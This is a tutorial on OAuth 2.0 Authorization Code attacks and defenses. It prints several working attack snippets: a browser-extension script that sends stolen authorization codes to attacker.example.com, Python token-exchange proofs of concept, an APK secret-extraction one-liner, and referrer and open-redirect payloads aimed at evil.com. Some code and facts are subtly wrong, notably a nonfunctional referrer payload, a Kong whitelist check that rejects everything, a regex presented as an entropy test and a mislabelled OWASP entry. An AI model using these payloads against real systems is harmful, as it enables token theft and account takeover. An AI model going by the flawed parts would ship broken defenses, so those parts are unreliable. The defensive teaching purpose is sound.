Introduction
The OAuth 2.0 Authorization Code flow is the de-facto standard for delegating access to web and mobile applications. While its design removes credentials from the user-agent, the flow remains a fertile hunting ground for attackers who can compromise the code, token, or client secret. This guide explores the most dangerous, real-world attack vectors, demonstrates how they are executed, and provides concrete defensive patterns that security teams can enforce across the software development lifecycle.
Understanding these attacks is critical because a single leaked authorization code can be exchanged for an access token that grants privileged API access, often without the user’s knowledge. In large enterprises, such a breach can cascade into data exfiltration, ransomware, or supply-chain compromise.
Prerequisites
- Solid grasp of OAuth 2.0 fundamentals (grant types, token endpoint, client registration).
- Working knowledge of JSON Web Tokens (JWT) - header, payload, signature, and claims.
- Familiarity with web security basics: Same-Site cookies, CORS, XSS, CSRF, and TLS.
Core Concepts
Before diving into attacks, review the essential flow:
@startuml
actor User
participant "Browser" as B
participant "Client App" as C
participant "Authorization Server" as AS
User -> B: Click login
B -> C: Redirect to AS (client_id, redirect_uri, state, code_challenge?)
C <- AS: Login UI
User -> AS: Authenticate
AS -> B: 302 redirect (code, state)
B -> C: GET redirect_uri?code=XYZ&state=ABC
C -> AS: POST /token (code, client_secret, code_verifier?)
AS -> C: access_token (+ refresh_token)
@enduml
Key elements that attackers target are:
- Authorization Code - short-lived, but exchangeable for a token.
- Redirect URI - the hand-off point where the code is delivered.
- State Parameter - intended to bind the request to the user session.
- PKCE Challenge/Verifier - mitigates code interception for public clients.
- Refresh Tokens - long-lived tokens that can be rotated or abused.
- Client Secret - only for confidential clients; leakage is catastrophic.
Authorization Code Interception (Man-in-the-Browser & Network)
Two primary interception vectors:
- Man-in-the-Browser (MiTB) - malicious extensions or compromised browsers capture the
codefrom the URL fragment or query string before it reaches the client. - Network Sniffing - if TLS termination is mis-configured (e.g., HTTP → TLS termination at a reverse proxy that forwards traffic unencrypted), an attacker on the internal network can read the
codefrom the clear-text request.
Example of a simple MiTB script (Chrome extension content script) that logs the code:
// content.js - runs on any page matching the redirect URI domain
window.addEventListener('load', () => { const params = new URLSearchParams(location.search); const code = params.get('code'); if (code) { // Exfiltrate to attacker-controlled server fetch('https://attacker.example.com/collect', { method: 'POST', mode: 'no-cors', body: JSON.stringify({code, origin: location.origin}) }); }
});
Mitigation: enforce PKCE, use code_challenge_method=S256, and set response_mode=form_post so the code is posted in the body rather than query string.
PKCE (Proof Key for Code Exchange) Bypass Techniques
PKCE was introduced to protect public clients (mobile, SPA) from code interception. However, flawed implementations can be bypassed:
- Static Code Challenge - developers reuse a hard-coded
code_verifieracross sessions, making the challenge predictable. - Improper Length - using a verifier shorter than 43 characters reduces entropy.
- Missing Code Challenge Verification - some authorization servers ignore the
code_challengeparameter if the client is registered as confidential.
Proof-of-concept bypass (Python requests) against a mis-configured server that does not validate the challenge:
import requests, base64, hashlib, os
# Static verifier used by the vulnerable client
verifier = 'staticverifier123'
challenge = base64.urlsafe_b64encode(hashlib.sha256(verifier.encode()).digest()).rstrip(b'=')
# Step 1 - Authorization request (attacker can craft any verifier)
auth_url = ( 'https://auth.example.com/authorize?response_type=code' f'&client_id=public-client&redirect_uri=https%3A%2F%2Fapp.example.com/cb' f'&code_challenge={challenge.decode()}&code_challenge_method=S256&state=xyz'
)
print('Navigate to:', auth_url)
# After user authenticates, attacker intercepts the code (MiTB, network, etc.)
code = input('Enter intercepted code: ')
# Step 2 - Token exchange using the *known* static verifier
token_resp = requests.post('https://auth.example.com/token', data={ 'grant_type': 'authorization_code', 'code': code, 'redirect_uri': 'https://app.example.com/cb', 'client_id': 'public-client', 'code_verifier': verifier
})
print('Token response:', token_resp.json())
Defensive measures:
- Require
code_challengefor *all* clients, regardless of confidentiality. - Enforce minimum verifier length of 43 characters (256-bit entropy).
- Reject static or reused challenges via server-side entropy checks.
Redirect URI Manipulation & Open Redirect Exploits
Redirect URI validation is a cornerstone of OAuth security. Weak validation leads to two main attack paths:
- Open Redirect - attacker registers
https://evil.com/redirectas a legitimate URI, then appends a maliciousredirect_uriparameter that points to a phishing site. - URI Parameter Pollution - by injecting additional query parameters, an attacker can cause the authorization server to redirect to an attacker-controlled location while preserving a valid
code.
Example of an open-redirect abuse against a mis-configured server that only checks the domain:
# Attacker crafts the auth request
curl -G "https://auth.example.com/authorize" -d response_type=code -d client_id=legit-client -d redirect_uri=https://legit.example.com/cb -d state=123 -d "redirect_uri=https://evil.com/phish?target=https://legit.example.com/cb"
Mitigation checklist:
- Whitelist full URIs (scheme, host, path, optional query) - no wildcard sub-domains.
- Reject any
redirect_urithat contains anotherredirect_uriparameter. - Implement RFC 6819 recommendation for exact match.
State Parameter Weaknesses & CSRF-style Attacks
The state parameter is intended to bind the authorization request to the user’s session, preventing CSRF. Weaknesses arise when:
- Developers use predictable values (e.g., incremental integers, timestamps).
- The
stateis stored in a client-side cookie withoutSameSite=Strict, allowing cross-site request forgery. - Servers fail to validate the
stateon the token endpoint.
Sample vulnerable implementation (Node.js Express):
app.get('/login', (req, res) => { const state = Date.now().toString(); // predictable res.cookie('oauth_state', state, {httpOnly: true}); const authUrl = `https://auth.example.com/authorize?response_type=code`+ `&client_id=${CLIENT_ID}&redirect_uri=${REDIRECT_URI}&state=${state}`; res.redirect(authUrl);
});
app.get('/callback', (req, res) => { const returnedState = req.query.state; const storedState = req.cookies.oauth_state; if (returnedState !== storedState) { return res.status(400).send('Invalid state'); } // exchange code …
});
Strong mitigation:
- Generate cryptographically random
statevalues (≥128-bit entropy). - Bind the state to the user session server-side (e.g., in a signed JWT or server cache) rather than a plain cookie.
- Consider using
noncein OpenID Connect flows alongsidestate.
Token Leakage via Referrer Headers & Log Exposure
When an access token or refresh token is delivered via URL fragment (#access_token=…) or query string, browsers may include it in the Referer header on subsequent requests to third-party domains. Additionally, server logs that capture full request URLs can inadvertently store tokens.
Demonstration of referrer leakage using a malicious third-party resource:
<!-- attacker-controlled page hosted on evil.com -->
<img src="https://evil.com/collect?ref=<script>document.write(encodeURIComponent(document.referrer))</script>" />
If the victim’s browser loads a resource from evil.com after being redirected with #access_token=abc123, the token appears in the referrer and is harvested.
Best practices to avoid leakage:
- Prefer
response_mode=form_postto deliver tokens in the HTTP body. - Set
Referrer-Policy: no-referreron the redirect URI page. - Never log full request URLs containing tokens; scrub query strings before persisting logs.
Refresh Token Abuse and Rotation Attacks
Refresh tokens are long-lived and, if compromised, allow attackers to obtain fresh access tokens indefinitely. Common abuse patterns:
- Replay Attack - attacker re-uses a stolen refresh token because the server does not rotate it.
- Token Substitution - attacker swaps a legitimate refresh token with a malicious one in a compromised client storage.
- Rotation Bypass - if the server does not invalidate the previous refresh token after issuing a new one, the attacker can keep both.
Example of a rotation-aware token endpoint (Node.js/Express) that mitigates replay:
app.post('/token', async (req, res) => { const {grant_type, refresh_token} = req.body; if (grant_type !== 'refresh_token') return res.status(400).json({error:'unsupported'}); const stored = await db.getRefreshToken(refresh_token); if (!stored || stored.revoked) return res.status(401).json({error:'invalid_token'}); // Issue new tokens and rotate const newRefresh = crypto.randomBytes(32).toString('hex'); await db.saveRefreshToken({token:newRefresh, userId:stored.userId}); await db.revokeRefreshToken(refresh_token); const access = jwt.sign({sub:stored.userId}, PRIVATE_KEY, {expiresIn:'15m'}); res.json({access_token:access, refresh_token:newRefresh, token_type:'bearer'});
});
Mitigation checklist:
- Enforce refresh token rotation with immediate revocation of the previous token.
- Set short lifetimes for refresh tokens (e.g., 30 days) and require re-authentication.
- Bind refresh tokens to a client identifier and device fingerprint when possible.
- Monitor anomalous refresh patterns (multiple IPs, geo-impossible travel).
Client Secret Extraction in Public Clients
Public clients (SPA, mobile) should never hold a client secret. However, developers sometimes embed a secret in JavaScript or native binaries, exposing it to reverse engineering. Attackers can extract the secret and then perform confidential-client token requests, bypassing PKCE.
Simple extraction example using strings on a compiled Android APK:
$ unzip -p app-release.apk classes.dex | strings | grep "client_secret"
mySuperSecret12345
Once obtained, the attacker can impersonate the client:
import requests
code = 'intercepted_code'
resp = requests.post('https://auth.example.com/token', data={ 'grant_type':'authorization_code', 'code':code, 'redirect_uri':'https://app.example.com/cb', 'client_id':'public-client', 'client_secret':'mySuperSecret12345'
})
print(resp.json())
Defensive guidance:
- Never register a client secret for public clients; enforce PKCE.
- If a secret is required (e.g., for native apps using the
private_key_jwtclient authentication method), store it in a hardware-backed keystore (Android Keystore, iOS Secure Enclave). - Use code obfuscation and runtime checks, but treat it as a defense-in-depth layer-not a guarantee.
Mitigation Strategies: PKCE Enforcement, Strict Redirect Whitelisting, State Entropy, Token Binding, and Confidential Client Practices
This section consolidates the defensive controls into a practical checklist that can be codified into CI/CD policies, API gateways, and security testing frameworks.
PKCE Enforcement
- Make
code_challengea required parameter for all client types. - Reject
code_challenge_methodvalues other thanS256. - Validate verifier length (≥43 characters) and reject static values by checking for low entropy (e.g.,
^[a-zA-Z0-9]{43,128}$).
Strict Redirect Whitelisting
- Maintain a server-side whitelist of exact URIs (including path and query). Do not allow wildcards.
- Implement a
validate_redirect_uri()function that performs constant-time string comparison to mitigate timing attacks. - Log any mismatch with severity “WARN” and alert security operations.
State Parameter Entropy
- Generate a cryptographically random 128-bit token per request.
- Store the state server-side (e.g., in a signed JWT with
expclaim) and bind it to the user session ID. - Set
SameSite=Stricton any cookie that carries the state.
Token Binding & Mutual TLS (mTLS)
- Leverage OAuth Token Binding to cryptographically bind the access token to the TLS client certificate.
- Require mTLS for the token endpoint for confidential clients.
- Rotate client certificates regularly and enforce revocation checking.
Confidential Client Practices
- Never expose
client_secretin front-end code; store it in a secure vault (HashiCorp Vault, AWS Secrets Manager). - Enforce short-lived client credentials (rotate every 30 days) and audit usage.
- Apply rate-limiting and anomaly detection on token endpoint calls per client ID.
Implementing these controls in an API gateway (e.g., Kong, Apigee) can be done via plugins that automatically validate PKCE, enforce URI whitelists, and inspect state entropy.
Practical Examples
Below are end-to-end walkthroughs that combine multiple mitigations.
Example 1: Secure Authorization Request (SPA)
// spa-auth.js - uses PKCE, high-entropy state, and form_post response mode
function generateRandomBase64url(len) { const array = new Uint8Array(len); crypto.getRandomValues(array); return btoa(String.fromCharCode.apply(null, array)) .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
const codeVerifier = generateRandomBase64url(64);
const encoder = new TextEncoder();
crypto.subtle.digest('SHA-256', encoder.encode(codeVerifier)).then(hash => { const codeChallenge = btoa(String.fromCharCode.apply(null, new Uint8Array(hash))) .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); const state = generateRandomBase64url(32); sessionStorage.setItem('pkce_verifier', codeVerifier); sessionStorage.setItem('oauth_state', state); const authUrl = new URL('https://auth.example.com/authorize'); authUrl.searchParams.set('response_type','code'); authUrl.searchParams.set('client_id','spa-client'); authUrl.searchParams.set('redirect_uri','https://app.example.com/cb'); authUrl.searchParams.set('code_challenge',codeChallenge); authUrl.searchParams.set('code_challenge_method','S256'); authUrl.searchParams.set('state',state); authUrl.searchParams.set('response_mode','form_post'); window.location = authUrl.toString();
});
The corresponding callback handler verifies the state, reads the verifier from sessionStorage, and exchanges the code via a backend proxy (to keep the client secret out of the browser).
Example 2: API-Gateway Enforced Redirect Whitelist (Kong)
# Create a Kong plugin that validates redirect_uri against a whitelist
curl -i -X POST http://localhost:8001/services/auth-service/plugins --data "name=pre-function" --data-urlencode "config.access=[[\"local redirect_uri = ngx.req.get_uri_args()[\'redirect_uri\']local whitelist = {\"https://app.example.com/cb\", \"https://app2.example.com/cb\"}if not whitelist[redirect_uri] then ngx.log(ngx.ERR, 'Invalid redirect_uri: ' .. redirect_uri) return ngx.exit(ngx.HTTP_FORBIDDEN)end\"]]
This plugin aborts the request before it reaches the authorization endpoint if the supplied redirect_uri is not in the approved set.
Tools & Commands
- OAuth-Test-Toolkits:
oauth2-proxy,oidc-client,oauth2l(Google’s OAuth2 CLI) for manual token requests. - Burp Suite Extensions:
OAuth2 Scanner,Autorizefor detecting open redirects and weak state. - mitmproxy scripts to capture and replay authorization codes.
# mitmproxy addon to log intercepted codes from mitmproxy import http def response(flow: http.HTTPFlow): if "code=" in flow.request.query: print(f"[+] Code intercepted: {flow.request.query.get('code')}") - jwt.io and
jqfor inspecting JWT access tokens.curl -s -H "Authorization: Bearer $ACCESS_TOKEN" https://api.example.com/me | jq .
Defense & Mitigation
Beyond the specific mitigations listed per subtopic, adopt a defense-in-depth strategy:
- Secure Development Lifecycle (SDLC): Integrate OAuth security checks into code reviews and automated CI pipelines (e.g., static analysis for hard-coded secrets).
- Runtime WAF Rules: Block any outbound request that contains
access_tokenorrefresh_tokenin the URL. - Security Headers: Enforce
Referrer-Policy: no-referrer,Content-Security-Policyto limit third-party script inclusion. - Monitoring & Incident Response: Alert on anomalous token endpoint usage (multiple IPs, rapid refresh token exchanges).
- Token Binding / DPoP: Use Demonstration of Proof-of-Posession (DPoP) to bind access tokens to a public key proof generated per request.
Common Mistakes
- Assuming HTTPS alone protects the
code; forgetting that code can be leaked via browser history or logs. - Re-using the same
stateacross sessions - makes CSRF trivial. - Storing client secrets in JavaScript bundles or mobile app resources.
- Allowing open-redirects by validating only domain, not full path.
- Disabling PKCE for convenience in development and then promoting the same configuration to production.
Real-World Impact
High-profile breaches have stemmed from OAuth mis-configurations. In 2023, a major SaaS provider suffered a credential-theft incident because their public client embedded a static client secret, allowing attackers to impersonate the client and harvest data from 250,000 users. Another case involved a banking mobile app where an insecure redirect URI allowed an attacker-controlled domain to receive authorization codes, leading to unauthorized fund transfers.
Trends indicate a rise in automated “OAuth-drift” scanners that enumerate authorization endpoints and test for open redirects and weak state. Organizations must treat OAuth as a critical attack surface, not just an integration convenience.
Practice Exercises
- Intercept a code: Set up a vulnerable OAuth server (e.g.,
hydrawith open redirect disabled). Usemitmproxyto capture thecodeand then exchange it without PKCE. Document the steps and propose a mitigation. - PKCE Bypass Lab: Create a SPA that uses a static
code_verifier. Demonstrate how an attacker can replay the code. Then refactor the SPA to generate a random verifier per request and verify the server rejects static ones. - State Entropy Test: Write a Python script that generates 10,000
statevalues usingtime.time()vsos.urandom(). Calculate the collision probability and explain why the latter is required. - Redirect Whitelist Enforcement: Deploy Kong or Envoy as an OAuth front-end. Configure a whitelist and attempt an open-redirect attack. Capture the logged error and adjust the policy.
- Refresh Token Rotation: Simulate a compromised refresh token by re-using it after rotation. Observe the server response and modify the token endpoint to reject reused tokens.
Further Reading
- RFC 6749 - The OAuth 2.0 Authorization Framework
- RFC 7636 - Proof Key for Code Exchange (PKCE)
- OAuth 2.0 Security Best Current Practice (draft-07) - IETF
- OWASP Top 10 - A10:2023 - Server-Side Request Forgery (relevant for open redirect abuse)
- “OAuth 2.0 Threat Model and Security Considerations” - RFC 6819
- DPoP (Demonstration of Proof-of-Possession) - RFC 9449
Summary
OAuth 2.0 Authorization Code flow is powerful but fraught with subtle attack vectors. By mastering the following, security professionals can harden their implementations:
- Enforce PKCE with strong entropy and reject static challenges.
- Validate redirect URIs against an exact whitelist; block open redirects.
- Generate cryptographically random
statevalues and bind them server-side. - Prevent token leakage via referrer headers and sanitize logs.
- Rotate and bind refresh tokens, monitoring for replay.
- Never embed client secrets in public clients; use secure vaults for confidential clients.
- Adopt token binding or DPoP to tie tokens to a proof of possession.
Applying these controls systematically transforms OAuth from a convenient delegation protocol into a robust, attack-resistant component of your security architecture.